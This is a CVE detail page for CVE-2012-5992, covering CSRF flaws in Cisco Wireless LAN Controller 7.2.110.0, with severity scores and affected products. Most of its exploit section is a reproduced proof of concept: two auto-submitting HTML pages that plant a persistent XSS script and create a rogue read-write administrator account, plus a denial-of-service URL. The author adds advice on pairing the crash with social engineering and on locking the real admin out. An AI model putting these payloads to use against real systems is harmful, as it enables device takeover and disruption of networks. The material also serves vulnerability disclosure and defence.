CVE-2012-5992 : Detail

CVE-2012-5992

Cross-Site Request Forgery - CSRF
A01-Broken Access Control
0.32%V3
Network
2012-12-19
11h00 +00:00
2024-09-16
18h03 +00:00
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CVE Descriptions

Multiple cross-site request forgery (CSRF) vulnerabilities on Cisco Wireless LAN Controller (WLC) devices with software 7.2.110.0 allow remote attackers to hijack the authentication of administrators for requests that (1) add administrative accounts via screens/aaa/mgmtuser_create.html or (2) insert XSS sequences via the headline parameter to screens/base/web_auth_custom.html, aka Bug ID CSCud50283.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-352 Cross-Site Request Forgery (CSRF)
The web application does not, or can not, sufficiently verify whether a well-formed, valid, consistent request was intentionally provided by the user who submitted the request.

Metrics

Metrics Score Severity CVSS Vector Source
V2 6.8 AV:N/AC:M/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 23361

Publication date : 2012-12-12 23h00 +00:00
Author : Jacob Holcomb
EDB Verified : No

Cisco WLC CSRF, DoS, and Persistent XSS Vulnerabilities # Exploit Title: u M@d? - Cisco WLC CSRF, DoS, and Persistent XSS Vulnerabilities # Date: Discovered and reported November 2012 # Author: Jacob Holcomb/Gimppy042 - Security Analyst @ Independent Security Evaluators # Software: Cisco Wireless Lan Controller 7.2.110.0 (http://www.cisco.com) # Note: Other versions are probably vulnerable, but I wasn't able to test. # Cisco Bug ID and CVE: CSRF: CSCud50283/CVE-2012-5992, XSS: CSCud65187/CVE-2012-6007, DoS: CSCud50209/CVE-2012-5991 # Advisory/Video: http://infosec42.blogspot.com/2012/12/cisco-wlc-csrf-dos-and-persistent-xss.html # Additional Bug: DoS - See bug section in POC --Exploit code demonstrated in advisory video-- -CSRF/XSS- File #1: ciscoWLC1.html <html> <title>Cisco WLC 7.2.110.0 CSRF - Persistent XSS</title> <body> <h1>LOADING...</h1> <form name="ciscoXSS" action="https://WLC_IP_HERE/screens/base/web_auth_custom.html" method="post" > <input type="hidden" name="access_control" value="1"/> <input type="hidden" name="webauth_type" value="internal"/> <input type="hidden" name="redirect_url" value=""/> <input type="hidden" name="aire_logo" value="show"/> <input type="hidden" name="headline" value="HaXoReD<img+src=><script>alert(42)</script>>"/> <input type="hidden" name="message" value="U+mAd?<img src=http://www.memes.at/faces/u_mad_troll.gif height=1000 width=1000 align=left>"/> <input type="hidden" name="ext_webauth_url" value=""/> <input type="hidden" name="buttonClicked" value="4"/> <input type="hidden" name="indexedClicked" value="0"/> <input type="hidden" name="err_flag" value="0"/> <input type="hidden" name="err_msg" value=""/> </form> <script> function CSRF() {window.open("http://ATTACKER_IP/ciscoWLC2.html")};window.setTimeout(CSRF,1000) function XSS() {document.ciscoXSS.submit()};window.setTimeout(XSS,1000) </script> </body> </html> File #2: ciscoWLC2.html <html> <title>Cisco WLC 7.2.110.0 CSRF - Add Administrator</title> <body> <form name="ciscoCSRF" action="https://WLC_IP_HERE/screens/aaa/mgmtuser_create.html" method="post" > <input type="hidden" name="access_control" value="1"/> <input type="hidden" name="username" value="Gimppy"/> <input type="hidden" name="userpwd" value="Pwnd123"/> <input type="hidden" name="pwdconfirm" value="Pwnd123"/> <input type="hidden" name="access_mode" value="readwrite"/> <input type="hidden" name="buttonClicked" value="4"/> </form> <script> document.ciscoCSRF.submit() window.open("https://WLC_IP_HERE/screens/base/login_preview.html") <-- Or https://WLC_IP_HERE/login.html </script> </body> </html> --Bug-- DoS - Denial of Service If a GET request is made to the URL listed below with the supplied HTML parameters, the Cisco WLC will crash and perform a cold start. The request requires authentication, so you would have to target a specific authenticated user using social engineering tactics, and get them to some how submit the request to the WLC. This DoS GET request could be used in conjunction with my demonstrated chained POC exploit above using the persistent XSS vulnerability to crash the WLC after performing the initial attack. This would prevent an admin from quickly undoing the changes that were made during the attack, and if the attacker was quick enough to get shell or web access on the WLC before the admin after the WLC reboot, the attacker could change the admin password to prevent further access. DoS URL: https://WLC_IP_HERE/screens/base/web_auth_custom.html?&webauth_type=internal&buttonClicked=4

Products Mentioned

Configuraton 0

Cisco>>Wireless_lan_controller_software >> Version 7.2.110.0

Cisco>>2000_wireless_lan_controller >> Version *

Cisco>>2100_wireless_lan_controller >> Version *

Cisco>>2500_wireless_lan_controller >> Version -

Cisco>>4100_wireless_lan_controller >> Version *

Cisco>>4400_wireless_lan_controller >> Version *

Cisco>>5500_wireless_lan_controller >> Version -

Cisco>>7500_wireless_lan_controller >> Version -

Cisco>>8500_wireless_lan_controller >> Version -

References